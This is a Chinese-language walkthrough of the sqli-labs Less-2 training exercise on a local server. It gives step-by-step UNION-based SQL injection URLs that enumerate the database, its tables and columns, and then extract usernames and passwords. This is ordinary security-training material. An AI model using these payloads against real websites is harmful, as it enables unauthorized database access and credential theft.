1.判断注入类型
测试:http://localhost/sqli-labs-master/Less-2/index.php?id=1
和http://localhost/sqli-labs-master/Less-2/index.php?id=1a
为 1a 的时候报错,可以判断为 数字型注入
,数字型注入比字符型注入更简单一点,不需要进行闭合,而且这题不用注释
2.判断字段数
测试:http://localhost/sqli-labs-master/Less-2/index.php?id=1 order by 3
测试:http://localhost/sqli-labs-master/Less-2/index.php?id=1 order by 4
可以判断有三个字段
3.判断字段顺序
测试:http://localhost/sqli-labs-master/Less-2/index.php?id=-1 union select 1,2,3
2 和 3 可以正确回显,注意这里 id=-1
4.获取当前数据库
测试:http://localhost/sqli-labs-master/Less-2/index.php?id=-1 union select 1,2,database()
当前数据库名为 security
5.获取当前数据库下的表名
测试:http://localhost/sqli-labs-master/Less-2/index.php?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
当前数据库下的表明为 emails,referers,uagents,users
6.获取 users 表的字段名
测试:http://localhost/sqli-labs-master/Less-2/index.php?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'
字段名为 id,username,password
7.获取 username 和 password 字段的内容
测试:http://localhost/sqli-labs-master/Less-2/index.php?id=-1 union select 1,2,group_concat(username,'~',password) from users
成功获取数据库用户名和密码,注意这里group_concat函数的 ~ ,当然这只是一个占位符,也可以换其他的